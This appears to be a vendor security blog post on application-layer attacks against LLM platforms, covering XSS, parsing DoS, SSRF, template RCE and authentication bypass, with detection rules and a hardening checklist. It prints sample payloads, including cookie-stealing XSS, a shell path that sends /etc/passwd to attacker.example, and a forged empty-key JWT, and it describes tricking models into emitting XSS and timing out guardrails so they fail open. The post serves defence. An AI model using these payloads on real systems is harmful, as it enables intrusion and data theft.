LLM Rendering Attacks: XSS, DoS, SSRF, and Code Injection Below the Model Layer

The most damaging attacks on AI applications in 2026 do not target the model. They target the code around it: markdown renderers that choke on quadratic payloads, sanitizer bypasses that let JavaScript through custom elements, SSRF filters that fall to DNS rebinding and IPv6, template engines that execute arbitrary code, and authentication layers that accept empty HMAC keys. Prompt injection defenses catch what goes into the model. These attacks go around it. Seven vulnerability classes, backed by 40+ disclosed CVEs and GHSA advisories, expose an attack surface that no prompt filter can reach.

Why rendering and parsing attacks are a different threat

Most LLM security content focuses on the prompt: injection, jailbreaking, context poisoning, output exfiltration. Those are real threats, and Context Guard defends against them. But there is an entire attack surface that prompt defenses cannot reach, because the vulnerability lives below the model in the application stack.

AI applications are web applications. They render markdown, process file uploads, parse templates, resolve URLs, validate authentication tokens, and serve HTML to browsers. Every one of those operations has a class of vulnerabilities that has been exploited in traditional web applications for decades. The difference is blast radius: a compromised LLM platform does not leak one user's data. It leaks every conversation, every system prompt, every uploaded document, and every agent configuration on the system.

In 2026, disclosed vulnerabilities in the rendering and parsing layers of AI platforms include:

• DOMPurify custom element bypass (multiple CVEs): HTML sanitizers that let JavaScript through custom element handling, namespace tricks, and SVG xlink payloads.
• Mistune quadratic parsing DoS: Crafted markdown with repeated formatting markers that triggers quadratic-time parsing, taking down inference servers.
• vLLM M-RoPE position encoding crash: Multimodal prompts that trigger infinite loops in position encoding calculation.
• Fast-uri SSRF bypass: URL parsing libraries that fail to block internal network access when attackers use canonicalization tricks.
• Template migration RCE: Code injection through template literals in database migration names and Docker build steps.
• Empty HMAC key bypass: Authentication systems that accept tokens signed with empty or nil HMAC keys.
• CORS wildcard with credentials: API configurations that allow any origin with credentials, enabling cross-origin data theft.

None of these are prompt injection. None of them are caught by inspecting what goes into or comes out of the model. They exploit the application layer that hosts the model, and they are the fastest-growing category of disclosed vulnerabilities in AI platforms.

Seven rendering and parsing attack classes

1. XSS through sanitizer bypasses and custom elements

LLM platforms render user-generated content: chat messages, knowledge base articles, agent outputs, file previews, and markdown. Every rendering surface is an XSS vector if the sanitizer does not cover it. And in 2026, the sanitizers keep missing edge cases.

DOMPurify custom element bypass. DOMPurify is the standard HTML sanitizer used by most web applications, including several LLM platforms. In 2026, researchers demonstrated that DOMPurify's handling of custom elements can be exploited to inject arbitrary HTML attributes. When DOMPurify encounters an unknown element tag, it may pass through attributes that would be stripped on standard HTML elements. An attacker who crafts a custom element with event handler attributes can achieve stored XSS in any LLM platform that uses DOMPurify for sanitization.

<custom-elem onmouseover="alert(document.cookie)"></custom-elem>
<svg><a xlink:href="javascript:alert(1)">click</a></svg>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

Hono cx() utility injection. The Hono web framework's cx() utility for server-side rendering lacks proper output escaping, allowing an attacker to inject JavaScript through class name or style parameters that get rendered into HTML. When an LLM platform uses Hono for SSR, any user-controlled field that passes through cx() becomes an injection point.

Iframe and SVG namespaced XSS. Stored XSS through iframe embeds with allow-scripts or allow-same-origin sandbox attributes, SVG elements with xlink:href="javascript:" URIs, and HTML file uploads rendered in iframes without proper Content-Type headers. Open WebUI disclosed multiple stored XSS advisories in 2026 through model profile images, audio transcription file extensions, Office document previews, and Mermaid markdown rendering.

AI-generated stored XSS. A newer and more subtle vector: the LLM itself generates output containing XSS payloads. When a user tricks the model into producing HTML with embedded JavaScript, and the platform renders that output without sanitization, the attack succeeds without the attacker ever submitting malicious HTML directly. The model becomes the injection vector.

Detection: xss_sanitizer_custom_element_bypass (high) catches custom element and namespace tricks that bypass DOMPurify. xss_jsx_cx_utility_injection (high) detects JavaScript injection through SSR utility escaping failures. xss_iframe_svg_namespaced (high) catches iframe, SVG, and namespaced attribute XSS patterns. ii_ai_generated_stored_xss (high) detects XSS payloads in LLM-generated content. web_xss_upload_injection (high) catches stored XSS through file uploads and metadata injection.

2. Quadratic and algorithmic complexity DoS

Denial of service through algorithmic complexity is not new. What is new is that LLM platforms are particularly vulnerable to it because they parse user-controlled input with multiple rendering layers, any one of which can be a choke point.

Mistune quadratic parsing. Mistune is a Python markdown parser used by multiple LLM platforms for rendering chat messages, knowledge base articles, and agent outputs. Crafted markdown with repeated strikethrough, mark, or insert formatting markers triggers quadratic-time parsing. A 500-character payload with nested ~~ markers can take seconds to parse. A 5KB payload can take minutes. A 50KB payload can take hours and consume all available CPU. On a shared inference server, this means every other user's requests time out.

~~a~~a~~a~~a~~a~~a~~a~~a~~a~~a~~a~~a~~a~~a~~a~~
(Repeated thousands of times, triggering O(n^2) backtracking
in Mistune's formatting parser)

vLLM token reinjection DoS. vLLM, one of the most widely deployed LLM inference servers, has multiple DoS vectors. Invalid recovered tokens can be reinjected into the generation pipeline, causing GPU crashes or infinite loops. Oversized audio uploads trigger out-of-memory errors. Speculative decoding failures can cascade into worker process crashes. Each of these takes down an inference worker, reducing capacity for all users.

M-RoPE position encoding miscalculation. Multimodal LLMs use Multi-Rotary Position Encoding (M-RoPE) to handle interleaved text, image, and audio tokens. A crafted prompt with embedded multimodal content can trigger M-RoPE position encoding miscalculation, causing infinite loops in the inference engine. This is not a prompt injection attack. It is a mathematical property of the position encoding that can be triggered by a specifically structured input.

Unbounded recursion and resource exhaustion. Deeply-nested JSON payloads, recursive tool call DAGs, and unbounded numeric values in structured output can crash application layers. Langflow disclosed multiple advisories for unbounded recursion in flow execution. vLLM disclosed advisories for resource exhaustion through crafted audio and image payloads.

Detection: dos_quadratic_parsing (high) detects payloads designed to trigger quadratic or exponential parsing time. dos_formatting_plugin_quadratic (high) catches markdown formatting patterns that trigger quadratic parsing in specific renderers. dos_mrope_position_encoding (critical) detects prompts designed to trigger M-RoPE miscalculation. vllm_dos_token_reinjection (critical) catches token reinjection patterns targeting vLLM. dos_unbounded_recursion_crash (high) detects deeply-nested or recursive payloads. dos_crafted_binary_media (high) catches oversized or malformed binary payloads.

3. SSRF evolution: DNS rebinding, IPv6, and canonicalization

Server-Side Request Forgery in AI platforms has evolved beyond the classic internal URL fetch. Modern SSRF attacks exploit DNS rebinding, IPv6 transition addresses, and URL canonicalization differences between parsers to bypass allowlists that look solid but are not.

DNS rebinding and IPv6 transition. An attacker sets up a DNS record that resolves to a public IP on the first query and an internal IP on the second. The allowlist check sees the public IP and approves the request. By the time the request is made, DNS has rebound to the internal IP. IPv6 transition addresses (IPv4-mapped, 6to4, NAT64) provide additional bypass paths because many SSRF allowlists only check IPv4 addresses.

# DNS rebinding: first resolution returns public, second returns internal
# Allowlist check sees 199.231.160.17 (public)
# Actual request goes to 10.0.0.1 (internal)

# IPv4-mapped IPv6 bypasses IPv4-only allowlists
url = 'http://[::ffff:10.0.0.1]:8080/admin'  # Resolves to internal

# Canonicalization bypass: fast-uri vs browser differ
url = 'http://evil.com\@internal-service:8080'

URL canonicalization confusion. Different URL parsers handle the same URL differently. What the browser sees as evil.com, the server-side parser might interpret as internal-service. International domain names (IDN) create additional confusion: a domain that looks like a harmless ASCII string can resolve to an internal IP after IDN normalization. The fast-uri library, used by several LLM platforms, has known canonicalization differences from browser URL parsing.

Detection: ssrf_dns_rebinding_ipv6 (high) detects DNS rebinding patterns and IPv6 transition address bypasses. ssrf_canonicalization_confusion (high) catches URL canonicalization differences between parsers. ma_tool_connection_ssrf (high) detects SSRF through tool connection URLs.

4. Template and migration code injection (RCE)

Template engines and migration frameworks are code execution engines. When an LLM platform uses them to process user-controlled input, template injection becomes remote code execution.

Template literal injection in migrations. Several LLM platform frameworks use template literals in database migration names. When a migration name contains {} interpolation syntax, the framework evaluates it as code during migration execution. An attacker who controls a migration name (through an API endpoint, a configuration file, or a prompt injection that causes the model to create a migration) can achieve arbitrary code execution on the server.

# Template literal injection in migration name
migration_name = 'users_${__import__("os").popen("id").read()}'

# When the framework evaluates this as a template:
# __import__('os').popen('id').read() executes on the server

Shell metacharacters in file paths. When an LLM platform passes file paths containing shell metacharacters to viewer commands, archive methods, or file operation handlers, those metacharacters can be interpreted by the shell. A file path like /tmp/research; curl attacker.example/exfil?data=$(cat /etc/passwd) becomes a command injection payload when concatenated into a shell command.

MCP malicious server URL RCE. The most direct path from MCP to code execution: configuring an MCP server URL that triggers remote code execution when the application connects and processes the server tool definitions. The STDIO transport vulnerability disclosed in April 2026 showed that MCP configuration commands are executed as shell commands without proper sandboxing. This is not a prompt injection. It is a configuration injection that achieves RCE.

Detection: rce_template_migration_injection (critical) detects code injection through template literals in migration names. rce_shell_metachar_path (critical) catches shell metacharacters in file paths. mcp_malicious_server_url_rce (critical) detects MCP server URLs that trigger remote code execution.

5. Authentication bypass patterns in AI platforms

Authentication bypasses in LLM platforms are particularly dangerous because a single bypass exposes every user's conversations, system prompts, and uploaded documents. Six authentication bypass patterns were disclosed in AI platforms in 2026 alone.

Empty HMAC key bypass. Several JWT and HMAC implementations accept tokens signed with an empty string or None as the verification key. When the verification key is empty, any attacker can forge valid tokens by signing with an empty key. The signature check passes, the token is accepted, and the attacker has full authentication.

# JWT with empty HMAC key bypass
import jwt

# Attacker signs with empty key
forged_token = jwt.encode(
    {'sub': 'admin', 'role': 'superuser'},
    key='',
    algorithm='HS256'
)

# Server verifies with empty/None key -> accepts
# Result: full admin access without credentials

CORS wildcard with credentials. API configurations that set Access-Control-Allow-Origin: * alongside Access-Control-Allow-Credentials: true enable any website to make authenticated cross-origin requests. The browser's CORS policy normally prevents this, but misconfigured servers that echo the requesting origin with credentials enabled have the same effect.

Security filter bypass. Blocklists and allowlists that can be circumvented through encoding (URL encoding, Unicode normalization, double encoding), abbreviation (bypassing a domain blocklist by using a shortener), or option joining (combining allowed path segments to reach a blocked resource). These are traditional web security problems, but they appear in LLM platforms with depressing regularity.

Authentication downgrade. Downgrading authentication mechanisms to weaker protocols, bypassing channel binding, disabling certificate verification, or silently reverting to HTTP from HTTPS. When an LLM platform accepts both secure and insecure authentication, attackers can force the downgrade.

Proxy trust header impersonation. Reverse proxies that use X-Forwarded-For, X-WEBAUTH, or similar headers for authentication can be impersonated when the trust configuration includes wildcards or overly broad proxy ranges. An attacker who can send requests directly to the backend can set these headers and impersonate any user.

OAuth reactivation and scope bypass. Exploiting OAuth flows to re-enable disabled or suspended accounts, bypass scope restrictions, or access private data through token scope misconfiguration. When an LLM platform's OAuth implementation does not properly validate scopes or check account status, an expired or suspended token can still access the API.

Detection: auth_bypass_empty_hmac_key (critical) detects JWT and HMAC bypass patterns using empty or nil keys. auth_cors_wildcard_credentials (high) catches CORS configurations allowing wildcard origins with credentials. auth_security_filter_bypass (high) detects encoding and abbreviation bypasses for security filters. auth_downgrade_protocol_weakening (high) catches authentication downgrade patterns. auth_proxy_trust_impersonation (high) detects proxy header impersonation. auth_oauth_reactivation_bypass (high) catches OAuth reactivation and scope bypass patterns. auth_hardcoded_default_secret (critical) detects hardcoded and default authentication secrets. auth_webauthn_replay_bypass (medium) catches WebAuthn assertion replay.

6. Guardrail fail-open and error information disclosure

Two patterns that compound every other attack class: safety systems that fail open, and error messages that leak implementation details.

Guardrail fail-open. When a safety guardrail, content filter, or quarantine system encounters an error, timeout, or crash, it should block the content. In practice, many implementations fail open: they log the error and pass the content through with only baseline sanitization. An attacker who can trigger a timeout in the guardrail (for example, by sending a payload that causes the regex engine to backtrack for seconds) gets their content through without inspection.

The fail-open pattern is particularly dangerous in LLM platforms because it creates a negative incentive: the more complex the guardrail, the more likely it is to encounter an error case, and the more likely it is to fail open. A guardrail that checks for 500 patterns and crashes on the 501st is less secure than one that checks for 50 patterns and always runs to completion.

LLM error response information disclosure. When an LLM API or agent framework encounters an error, it returns a traceback or error message that includes internal implementation details, file paths, database connection strings, and remote stack traces. In production, these details should never reach the client. In practice, several major LLM platforms return full Python tracebacks in their error responses, giving attackers a map of the internal architecture.

LLM self-invocation loop. A prompt injection that causes an LLM to recursively call itself through its own tool interface, creating infinite loops or resource exhaustion without hitting any loop detection. The model calls a tool, the tool triggers another model call, which calls another tool, and the cycle continues until the context window or the budget is exhausted. This is distinct from LoopTrap (which prevents loop termination) because the model is not prevented from terminating; it is given a recursive tool interface that makes termination structurally impossible.

Detection: guardrail_fail_open (critical) detects configurations and patterns where guardrails fail open on errors. llm_error_info_leak (high) catches error responses that leak internal implementation details. llm_self_invocation_loop (high) detects recursive self-invocation patterns through model tool interfaces.

7. Supply chain and Unicode normalization attacks

The final attack class targets the software supply chain through Unicode normalization differences.

Unicode normalization collision. Unicode has four normalization forms: NFC, NFD, NFKC, and NFKD. When two components of a system use different normalization forms, strings that look identical can have different byte representations. An attacker who exploits this difference can bypass exclusion patterns, include unintended files in packages, or evade filename-based security checks.

# Unicode normalization collision bypass
# NFC form (what the allowlist checks):
allowed_file = 'résumé.pdf'  # NFC: é

# NFD form (what the filesystem uses):
malicious_file = 'résumé.pdf'  # NFD: e + combining accent

# Both render identically but have different byte sequences
# Exclusion pattern matches NFC but not NFD

GitPython blocklist bypass. The GitPython library used by several LLM platforms for repository operations had a blocklist bypass vulnerability. The blocklist checked repository URLs against a list of blocked domains, but the check could be bypassed using URL encoding, alternative protocols, or DNS rebinding. An attacker who could specify a Git repository URL could clone from a malicious server, potentially executing arbitrary code through Git hooks or credential exfiltration through protocol handlers.

Detection: supply_chain_unicode_normalization_collision (high) detects Unicode normalization differences that bypass security checks. di_prompty_frontmatter_rce (critical) catches code injection through Prompty frontmatter. de_prompty_file_read (high) detects file read attempts through Prompty file inclusion.

Why prompt filters miss these attacks

Every attack class in this post has one thing in common: the vulnerability exists below the model layer. Prompt injection detection operates on the text that goes into and comes out of the model. These attacks operate on the HTML that renders the model's output, the URL parser that fetches external content, the authentication middleware that validates tokens, the markdown parser that renders chat messages, and the template engine that processes configuration.

A defense that only inspects prompts will catch every attack in our prompt injection guide but will miss every attack in this post. The two threat surfaces require two different defense architectures, and you need both.

The defense architecture for rendering and parsing attacks

Defending against rendering and parsing attacks requires controls at five layers. No single layer catches every attack class.

1. Input validation and sanitization

• Validate every input against a strict schema before processing. Reject inputs that do not match the expected format, type, and length. This is not a suggestion. It is table stakes.
• Use a strict HTML sanitizer with an allowlist of tags and attributes. DOMPurify is necessary but not sufficient; it must be kept up to date and configured to block custom elements and namespace tricks.
• Normalize Unicode to a single form (NFC) at the application boundary. Apply the same normalization to allowlists, blocklists, and comparison operations.
• Enforce Content Security Policy headers on every page that renders user content. CSP provides defense in depth even when the sanitizer misses an XSS vector.

2. Parsing and rendering hardening

• Set parsing timeouts on every user-controlled input that passes through a markdown parser, template engine, or structured output parser. If parsing takes more than 500ms, terminate and reject.
• Limit nesting depth in JSON, YAML, and structured output. Recursive payloads are a DoS vector. Cap depth at a reasonable limit (10-20 levels) and reject anything deeper.
• Validate binary and media payloads before processing. Check file signatures, enforce size limits, and reject oversized images, audio, and video files before they reach the inference server.

3. SSRF and URL processing protection

• Resolve URLs once and compare the resolved IP against your allowlist. Never check the URL hostname and then resolve it separately; DNS rebinding will defeat the check.
• Block IPv6 transition addresses unless you explicitly need them. IPv4-mapped addresses (::ffff:10.0.0.1), 6to4, and NAT64 addresses bypass IPv4-only allowlists.
• Use a single URL parser for both allowlist checking and request routing. Never use different parsers for validation and execution; canonicalization differences between them will create bypass paths.

4. Authentication and session hardening

• Never accept empty or nil HMAC keys. Validate that the signing key is non-empty and matches the expected length before verifying any token signature.
• Never set CORS wildcard with credentials. If you need cross-origin access, specify explicit origins. Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is a vulnerability, not a configuration.
• Pin proxy trust to specific IP ranges. Never use wildcards in X-Forwarded-* trust configuration. Every proxy in the chain must be explicitly trusted.
• Fail closed on guardrail errors. If your safety system encounters an error, timeout, or crash, the content must be blocked, not passed through. A false positive is a minor inconvenience. A false negative is a security breach.

5. Output controls and error handling

• Strip internal details from error responses. Production APIs should return generic error messages with a correlation ID, not Python tracebacks, file paths, or database connection strings.
• Sanitize model output before rendering. Every piece of LLM output that is rendered as HTML must go through the same sanitizer as user input. LLM-generated XSS is a real attack vector.
• Rate limit per user and per key. Algorithmic complexity DoS attacks exploit the gap between input size and processing time. Rate limits cap the damage even when a specific payload slips through.

How Context Guard detects rendering and parsing attacks

Context Guard's detection ruleset includes 30+ rules targeting rendering and parsing attacks in AI platforms:

• xss_sanitizer_custom_element_bypass (high), xss_jsx_cx_utility_injection (high), xss_iframe_svg_namespaced (high), ii_ai_generated_stored_xss (high), web_xss_upload_injection (high) cover XSS in all its LLM-platform-specific forms.
• dos_quadratic_parsing (high), dos_formatting_plugin_quadratic (high), dos_mrope_position_encoding (critical), vllm_dos_token_reinjection (critical), dos_unbounded_recursion_crash (high), dos_crafted_binary_media (high) cover DoS through parsing and processing.
• ssrf_dns_rebinding_ipv6 (high), ssrf_canonicalization_confusion (high), ma_tool_connection_ssrf (high) cover SSRF evolution.
• rce_template_migration_injection (critical), rce_shell_metachar_path (critical), mcp_malicious_server_url_rce (critical) cover code execution through templates and paths.
• auth_bypass_empty_hmac_key (critical), auth_cors_wildcard_credentials (high), auth_security_filter_bypass (high), auth_downgrade_protocol_weakening (high), auth_proxy_trust_impersonation (high), auth_oauth_reactivation_bypass (high), auth_hardcoded_default_secret (critical), auth_webauthn_replay_bypass (medium) cover authentication bypass patterns.
• guardrail_fail_open (critical), llm_error_info_leak (high), llm_self_invocation_loop (high) cover guardrail and error disclosure patterns.
• supply_chain_unicode_normalization_collision (high), smtp_header_injection_crlf (high), css_injection_via_presentational_hints (medium) cover supply chain and rendering edge cases.

These rules join the broader detection library covering prompt injection, context poisoning, tool abuse, data exfiltration, and MCP attacks. Every rule carries an OWASP reference so your compliance team can generate coverage reports without manual mapping.

AI platform rendering security checklist

Before deploying an LLM platform to production, verify every item on this list:

• Every rendering surface that displays user or model output uses a strict HTML sanitizer with an up-to-date allowlist.
• Custom elements and namespace attributes are blocked or explicitly allowlisted in the sanitizer configuration.
• Content Security Policy headers are set on every page that renders dynamic content.
• Markdown parsers have timeout limits on user-controlled input. Payloads that exceed the timeout are rejected, not processed.
• Nesting depth is capped in JSON, YAML, and structured output parsing.
• Binary and media file sizes are validated before processing. Oversized files are rejected at the upload boundary.
• URL resolution and allowlist checking use the same parser. DNS rebinding protections are in place.
• IPv6 transition addresses are blocked unless explicitly needed.
• HMAC and JWT verification keys are validated as non-empty before signature checking.
• CORS configurations do not combine wildcard origins with credentials.
• Proxy trust configurations pin to specific IP ranges. No wildcards.
• Guardrail and safety systems fail closed. Errors, timeouts, and crashes block the content.
• Error responses to clients contain no internal details. Generic messages with correlation IDs only.
• Unicode is normalized to a single form (NFC) at the application boundary.
• OWASP coverage is documented for every rendering and parsing component.

If you are running an LLM platform in production and any of these are missing, you have a rendering or parsing vulnerability that an attacker can exploit today. The security page has the full architecture. The free trial has the product.